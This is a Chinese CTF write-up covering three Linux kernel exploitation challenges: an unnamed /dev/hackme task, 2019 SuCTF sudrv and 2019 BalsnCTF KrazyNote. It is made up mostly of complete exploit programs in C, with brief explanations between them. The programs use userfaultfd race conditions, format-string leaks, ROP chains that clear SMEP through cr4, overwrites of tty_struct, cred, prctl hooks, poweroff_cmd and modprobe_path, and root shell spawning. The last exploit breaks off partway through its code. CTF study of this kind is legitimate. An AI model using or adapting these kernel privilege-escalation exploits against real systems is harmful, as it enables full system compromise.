看到初始化时开了多核多线程,就考虑到会有竞争问题,可以用一个子进程去触发缺页中断,使驱动在copy_from_user那一步卡住,从而使得指针更新而size未更新,产生溢出漏洞,再劫持tty_struct即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

size_t prepare_kernel_cred = 0;
size_t commit_creds = 0;

struct chunk{
size_t index;
char* buf;
long long size;
long long offset;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size,long long offset){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
user_chunk->offset = offset;
ioctl(fd,0x30001,user_chunk);
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t get_shell_addr = (size_t)get_shell;
void su(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));

__asm__(
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push get_shell_addr;"
"swapgs;"
"iretq;"
);
}

void handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]Struck the pagefault!!!");
sleep(1000);
}

void register_uffd(uint64_t fault_page,uint64_t fault_page_size){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

myuffd.range.start = fault_page;
myuffd.range.len = fault_page_size;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}


int main(){
save();

int fd = open("/dev/hackme",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));

char* buf = malloc(0x200000);
new(fd,0,buf,0x200000,0);
delete(fd,0,buf,0,0);

if(fork() == 0){
char* mmap_addr = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
uint64_t fault_page = mmap_addr;
uint64_t fault_page_size = 0x1000;
register_uffd(fault_page,fault_page_size);

new(fd,0,mmap_addr,0x400,0);
}
else{
sleep(2);

int ptmx_fd = open("/dev/ptmx",2);
if(ptmx_fd < 0){
puts("[:(]OPen ptmx error...");
exit(-1);
}

uread(fd,0,buf,0x200000,0);
size_t *search_ptr = (size_t*)buf;
size_t offset = 0;
char* temp = malloc(0x200);
for(int i = 0;i < 0x200000/8;i += 0x200/8){
for(int j = 0;j < 0x200/8;j++){
if(search_ptr[i+j] == 0x100005401){
puts("[:)]Find tty_struct!!!");
printf("[:)]offset = %p\n",(i+j)*8);
offset = (i+j)*8;
memcpy(temp,search_ptr+i+j,0x200);
break;
}
}
if(offset != 0){
break;
}
}

size_t kernel_base = search_ptr[offset/8 + 3]-0x625d80;
printf("[:)]kernel_base = %p\n",kernel_base);
prepare_kernel_cred = 0x4d3d0 + kernel_base;
commit_creds = 0x4d220 + kernel_base;
size_t heap_base = search_ptr[offset/8 + 7]-0xe15b438;
printf("[:)]heap_base = %p\n",heap_base);

search_ptr[2] = kernel_base + 0x1b5a1; //pop rax; ret;
search_ptr[3] = 0x6f0;
search_ptr[4] = kernel_base + 0x252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
search_ptr[5] = 0xdeadbeef;
search_ptr[6] = (size_t)su;

search_ptr[16] = kernel_base + 0x484f0; //pop rsp;ret;
search_ptr[17] = heap_base + 0xe15b010;
search_ptr[23] = kernel_base + 0x200f66; //mov rsp,rax;.........;
search_ptr[offset/8 + 3] = heap_base + 0xe15b080;
uwrite(fd,0,buf,0x420,0);

memset(buf,'\x00',8);
write(ptmx_fd,buf,8);
}


return 0;
}

2019SuCTF_sudrv

解法一:

task_prctl.hookpoweroff_cmd,难点在于这两个变量的寻找。

poweroff_cmd可在ida中寻找字符串,或是在gdb中用find寻找。

hook需要我们动态调试,需要注意的是,不同版本的内核情况有很大差异,可能找到它需要花一些功夫和猜测。

最终的exp也不是很稳定。。。有时会失败,有事会崩溃,和内核堆的内存有关应该。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <poll.h>

void uread(int fd){
ioctl(fd,0xDEADBEEF,0);
}

void new(int fd,int size){
ioctl(fd,0x73311337,size);
}

void delete(int fd){
ioctl(fd,0x13377331,0);
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}


int main(){

int fd = open("/dev/meizijiutql",2);
if(fd < 0){
puts("[:(]Open error...");
exit(-1);
}

new(fd,0x100);
char* buf = malloc(0x10000);
memset(buf,'\x00',0x10000);
strcpy(buf,"%lx%lx%lx%lx%lx%lx %lx%lx%lx%lx %lx%lx ");
write(fd,buf,strlen(buf));
uread(fd);
close(fd);

system("dmesg | grep deadbeef > leak.txt");
FILE* leak_fd = fopen("leak.txt","r");
if(leak_fd < 0){
puts("[:(]Oh...");
exit(-1);
}

fgets(buf,0x100,leak_fd);
unsigned long long kernel_base = strtoull(buf+27,NULL,16) - 0x1c827f;
printf("[:)]kernel_base = %p\n",kernel_base);
unsigned long long stack_base = strtoull(buf+27+1+17+0x10+0x10,NULL,16);
printf("[:)]stack_base = %p\n",stack_base);
unsigned long poweroff_cmd = kernel_base + 0x1241d40;
printf("[:)]poweroff_cmd = %p\n",poweroff_cmd);
unsigned long security_task_prctl = kernel_base + 0x3134e0;
unsigned long hook_addr = kernel_base + 0x12934a8;
printf("[:)]hook_addr = %p\n",hook_addr);
unsigned long poweroff_work_func = kernel_base + 0x82000;


fd = open("/dev/meizijiutql",2);
if(fd < 0){
puts("[:(]Oh...");
exit(-1);
}

new(fd,0xc0);
*(size_t*)(buf+0xc0) = poweroff_cmd;
write(fd,buf,0xc8);

new(fd,0xc0);
new(fd,0xc0);
strcpy(buf,"/bin/chmod 777 /flag");
write(fd,buf,strlen(buf));

new(fd,0x100);
*(size_t*)(buf+0x100) = hook_addr;
write(fd,buf,0x108);

new(fd,0x100);
new(fd,0x100);

unsigned long fake_table[4] = {0};
fake_table[3] = poweroff_work_func;

unsigned long *p = &fake_table;
write(fd,&p,8);

prctl(poweroff_cmd,2,poweroff_cmd,poweroff_cmd,2);

return 0;
}

x2.PNG

解法二:

劫持栈,ROP

溢出修改fd,向栈申请chunk。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <poll.h>

void uread(int fd){
ioctl(fd,0xDEADBEEF,0);
}

void new(int fd,int size){
ioctl(fd,0x73311337,size);
}

void delete(int fd){
ioctl(fd,0x13377331,0);
}

size_t prepare_kernel_cred = 0;
size_t commit_creds = 0;
size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}


int main(){
save();
signal(SIGSEGV,get_shell);

int fd = open("/dev/meizijiutql",2);
if(fd < 0){
puts("[:(]Open error...");
exit(-1);
}

new(fd,0x100);
char* buf = malloc(0x10000);
memset(buf,'\x00',0x10000);
strcpy(buf,"%lx%lx%lx%lx%lx%lx %lx%lx%lx%lx %lx%lx ");
write(fd,buf,strlen(buf));
uread(fd);
close(fd);

system("dmesg | grep deadbeef > leak.txt");
FILE* leak_fd = fopen("leak.txt","r");
if(leak_fd < 0){
puts("[:(]Oh...");
exit(-1);
}

fgets(buf,0x100,leak_fd);
unsigned long long kernel_base = strtoull(buf+27,NULL,16) - 0x1c827f;
printf("[:)]kernel_base = %p\n",kernel_base);
commit_creds = kernel_base + 0x81410;
prepare_kernel_cred = kernel_base + 0x81790;
unsigned long long stack_base = strtoull(buf+27+1+17+0x10+0x10,NULL,16);
printf("[:)]stack_base = %p\n",stack_base);

fd = open("/dev/meizijiutql",2);
if(fd < 0){
puts("[:(]Oh...");
exit(-1);
}
for(int i = 0;i < 250;i++){
new(fd,0xff0);
}

new(fd,0xff0);
*(size_t*)(buf+0x1000) = stack_base-(0xd8-0x50);
write(fd,buf,0x1008);

new(fd,0xff0);
new(fd,0xff0);

*(size_t*)buf = kernel_base + 0x1388; //pop rdi;ret;
*((size_t*)buf+1) = 0x6f0;
*((size_t*)buf+2) = kernel_base + 0x4e5b1; //mov cr4, rdi; push rdx; popfq; ret;
*((size_t*)buf+3) = kernel_base + 0x1388;
*((size_t*)buf+4) = 0;
*((size_t*)buf+5) = prepare_kernel_cred;
*((size_t*)buf+6) = kernel_base + 0x9e2959;
*((size_t*)buf+7) = commit_creds;
*((size_t*)buf+8) = kernel_base + 0x1388;
*((size_t*)buf+8) = kernel_base + 0xa00d5a;
*((size_t*)buf+9) = 0;
*((size_t*)buf+10) = kernel_base + 0x21762;
*((size_t*)buf+11) = (size_t)get_shell;
*((size_t*)buf+12) = user_cs;
*((size_t*)buf+13) = user_rflags;
*((size_t*)buf+14) = user_rsp;
*((size_t*)buf+15) = user_ss;

write(fd,buf,0x80);

return 0;
}

x1.PNG

2019BalsnCTF_KrazyNote

解法一:

修改cred

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

#define FAULT_PAGE ((void*)0x1337000)
int fd;

struct user_chunk{
size_t index;
size_t size;
char * buf;
};

struct user_chunk* user_ptr;
char user_buf[0x1000];

void new(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff00,user_ptr) < 0){
puts("[:(]new error...");
exit(-1);
}
return;
}

void show(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff02,user_ptr) < 0){
puts("[:(]show error...");
exit(-1);
}
return;
}

void delete(){
if(ioctl(fd,0xffffff03,user_ptr) < 0){
puts("[:(]delete error...");
exit(-1);
}
return;
}

void edit(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff01,user_ptr) < 0){
puts("[:(]edit error...");
exit(-1);
}
return;
}

void* handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]I catch it!!!");

delete();
new(0,user_buf); //0
new(0,user_buf); //1

struct uffdio_copy uc;
memset(user_buf,'\x00',sizeof(user_buf));
user_buf[8] = 0xf0;

uc.src = (unsigned long)user_buf;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
if(ioctl(uffd,UFFDIO_COPY,&uc) < 0){
puts("[:(]UFFDIO_COPY error...");
exit(-1);
} // 恢复执行copy_from_user

puts("[:)]UFFDIO_COPY done!!!");
return;
}

void register_uffd(){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

if(mmap(FAULT_PAGE,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) != FAULT_PAGE){
puts("[:(]mmap error...");
exit(-1);
};
myuffd.range.start = FAULT_PAGE;
myuffd.range.len = 0x1000;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}

int main(){

fd = open("/dev/note",0);
if(fd < 0){
puts("[:(]open error...");
exit(-1);
}
user_ptr = malloc(0x18);
memset(user_buf,'\x00',sizeof(user_buf));

new(0x10,user_buf); //0
register_uffd();
edit(0,FAULT_PAGE);

show(1,user_buf);
size_t key = *(size_t*)user_buf;
printf("[:)]key = %p\n",key);

new(0,user_buf);
show(1,user_buf);
size_t module = *((size_t*)user_buf+2) ^ key;
module -= 0x2568;
printf("[:)]module = %p\n",module);

size_t offset = module + 0x165;
size_t* tmp_buf = malloc(0x18);
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 4 ^ key;
tmp_buf[2] = offset ^ key;
edit(1,tmp_buf);

size_t page_offset_base_offset = 0;
show(2,&page_offset_base_offset);
page_offset_base_offset += 0xffffffff00000000;
printf("[:)]page_offset_base_offset = %p\n",page_offset_base_offset);

tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 8 ^ key;
tmp_buf[2] = (module + 0x169 + page_offset_base_offset) ^ key;
edit(1,tmp_buf);

size_t page_offset_base = 0;
show(2,&page_offset_base);
printf("[:)]page_offset_base = %p\n",page_offset_base);

if(prctl(PR_SET_NAME,"xiaoxiaorenwu..") < 0){
puts("[:(]set name error...");
exit(0);
}

size_t cred_addr = 0;
size_t real_cred_addr = 0;
for(size_t i = 0;;i += 0x100){
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 0xff ^ key;
tmp_buf[2] = i ^ key;
edit(1,tmp_buf);
memset(user_buf,'\x00',0x100);
show(2,user_buf);
size_t result = memmem(user_buf,0x100,"xiaoxiaorenwu..",0x10);
if(result){
cred_addr = *(size_t*)(result-8);
real_cred_addr = *(size_t*)(result-0x10);
if(cred_addr == real_cred_addr){
printf("[:)]cred_addr = %p\n",cred_addr);
break;
}
}
}
if(cred_addr == 0){
puts("[:(]not find...");
exit(-1);
}

tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 0x20 ^ key;
tmp_buf[2] = (cred_addr+4-page_offset_base) ^ key;
edit(1,tmp_buf);

memset(user_buf,'\x00',0x20);
edit(2,user_buf);

if(getuid() == 0){
puts("[:)]root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]not root...");
exit(-1);
}

return 0;
}

x1.PNG

解法二:

modprobe_path

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

#define FAULT_PAGE ((void*)0x1337000)
int fd;

struct user_chunk{
size_t index;
size_t size;
char * buf;
};

struct user_chunk* user_ptr;
char user_buf[0x1000];

void new(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff00,user_ptr) < 0){
puts("[:(]new error...");
exit(-1);
}
return;
}

void show(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff02,user_ptr) < 0){
puts("[:(]show error...");
exit(-1);
}
return;
}

void delete(){
if(ioctl(fd,0xffffff03,user_ptr) < 0){
puts("[:(]delete error...");
exit(-1);
}
return;
}

void edit(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff01,user_ptr) < 0){
puts("[:(]edit error...");
exit(-1);
}
return;
}

void* handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]I catch it!!!");

delete();
new(0,user_buf); //0
new(0,user_buf); //1

struct uffdio_copy uc;
memset(user_buf,'\x00',sizeof(user_buf));
user_buf[8] = 0xf0;

uc.src = (unsigned long)user_buf;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
if(ioctl(uffd,UFFDIO_COPY,&uc) < 0){
puts("[:(]UFFDIO_COPY error...");
exit(-1);
} // 恢复执行copy_from_user

puts("[:)]UFFDIO_COPY done!!!");
return;
}

void register_uffd(){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

if(mmap(FAULT_PAGE,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) != FAULT_PAGE){
puts("[:(]mmap error...");
exit(-1);
};
myuffd.range.start = FAULT_PAGE;
myuffd.range.len = 0x1000;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}

int main(){

fd = open("/dev/note",0);
if(fd < 0){
puts("[:(]open error...");
exit(-1);
}
user_ptr = malloc(0x18);
memset(user_buf,'\x00',sizeof(user_buf));

new(0x10,user_buf); //0
register_uffd();
edit(0,FAULT_PAGE);

show(1,user_buf);
size_t key = *(size_t*)user_buf;
printf("[:)]key = %p\n",key);

new(0,user_buf);
show(1,user_buf);
size_t module = *((size_t*)user_buf+2) ^ key;
module -= 0x2568;
printf("[:)]module = %p\n",module);
//-------------------------------------------------------------------------------
size_t* tmp_buf = malloc(0x18);
size_t offset = module + 0x165;
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 4 ^ key;
tmp_buf[2] = offset ^ key;
edit(1,tmp_buf);

size_t page_offset_base_offset = 0;
show(2,&page_offset_base_offset);
page_offset_base_offset += 0xffffffff00000000;
printf("[:)]page_offset_base_offset = %p\n",page_offset_base_offset);

tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 8 ^ key;
tmp_buf[2] = (module + 0x169 + page_offset_base_offset) ^ key;
edit(1,tmp_buf);

size_t page_offset_base = 0;
show(2,&page_offset_base);
printf("[:)]page_offset_base = %p\n",page_offset_base);
//-------------------------------------------------------------------------------
offset = module + 0x1cd;
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 4 ^ key;
tmp_buf[2] = offset ^ key;
edit(1,tmp_buf);
prctl(PR_SET_NAME,"xiaoxiaorenwu..");

size_t copy_to_user_offset = 0;
show(2,&copy_to_user_offset);
copy_to_user_offset += 0xffffffff00000000;
printf("[:)]copy_to_user_offset = %p\n",copy_to_user_offset);

size_t kernel_base = module + page_offset_base + copy_to_user_offset + 0x1d1 - 0x353ee0;
printf("[:)]kernel_base = %p\n",kernel_base);

//ffffffff8205e0e0 D modprobe_path
size_t modprobe_path = kernel_base + (0xffffffff8205e0e0 - 0xffffffff81000000);
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 9 ^ key;
tmp_buf[2] = (modprobe_path-page_offset_base) ^ key;
edit(1,tmp_buf);
strcpy(user_buf,"/xxrw.sh");
edit(2,user_buf);

system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /xxrw.sh");
system("/bin/chmod +x /xxrw.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /trigger");
system("/bin/chmod +x /trigger");

puts("[:)]trigger!!!");
system("/trigger");

return 0;
}

x1.PNG

解法三:

poweroff_cmd && prctl.hook

失败,貌似改不了prctl.hook

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

#define FAULT_PAGE ((void*)0x1337000)
int fd;

struct user_chunk{
size_t index;
size_t size;
char * buf;
};

struct user_chunk* user_ptr;
char user_buf[0x1000];

void new(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff00,user_ptr) < 0){
puts("[:(]new error...");
exit(-1);
}
return;
}

void show(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff02,user_ptr) < 0){
puts("[:(]show error...");
exit(-1);
}
return;
}

void delete(){
if(ioctl(fd,0xffffff03,user_ptr) < 0){
puts("[:(]delete error...");
exit(-1);
}
return;
}

void edit(size_t index,char* buf){
user_ptr->index = index;
user_ptr->buf = buf;
if(ioctl(fd,0xffffff01,user_ptr) < 0){
puts("[:(]edit error...");
exit(-1);
}
return;
}

void* handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]I catch it!!!");

delete();
new(0,user_buf); //0
new(0,user_buf); //1

struct uffdio_copy uc;
memset(user_buf,'\x00',sizeof(user_buf));
user_buf[8] = 0xf0;

uc.src = (unsigned long)user_buf;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
if(ioctl(uffd,UFFDIO_COPY,&uc) < 0){
puts("[:(]UFFDIO_COPY error...");
exit(-1);
} // 恢复执行copy_from_user

puts("[:)]UFFDIO_COPY done!!!");
return;
}

void register_uffd(){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

if(mmap(FAULT_PAGE,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) != FAULT_PAGE){
puts("[:(]mmap error...");
exit(-1);
};
myuffd.range.start = FAULT_PAGE;
myuffd.range.len = 0x1000;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}

int main(){

fd = open("/dev/note",0);
if(fd < 0){
puts("[:(]open error...");
exit(-1);
}
user_ptr = malloc(0x18);
memset(user_buf,'\x00',sizeof(user_buf));

new(0x10,user_buf); //0
register_uffd();
edit(0,FAULT_PAGE);

show(1,user_buf);
size_t key = *(size_t*)user_buf;
printf("[:)]key = %p\n",key);

new(0,user_buf);
show(1,user_buf);
size_t module = *((size_t*)user_buf+2) ^ key;
module -= 0x2568;
printf("[:)]module = %p\n",module);
